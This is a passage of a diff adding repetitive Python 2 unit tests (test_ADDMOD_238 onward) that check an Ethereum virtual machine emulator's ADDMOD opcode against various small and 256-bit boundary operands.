+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_238(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_239(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_240(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_241(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_242(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_243(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_244(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [62L])
+
+    def test_ADDMOD_245(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_246(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_247(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_248(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301294L])
+
+    def test_ADDMOD_249(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_250(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [63L])
+
+    def test_ADDMOD_251(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [79L])
+
+    def test_ADDMOD_252(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718943L])
+
+    def test_ADDMOD_253(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_254(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_255(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_256(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_257(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_258(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_259(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_260(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_261(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_262(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_263(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_264(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_ADDMOD_265(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_266(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADDMOD_267(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_268(self):
+            #Make the constraint store
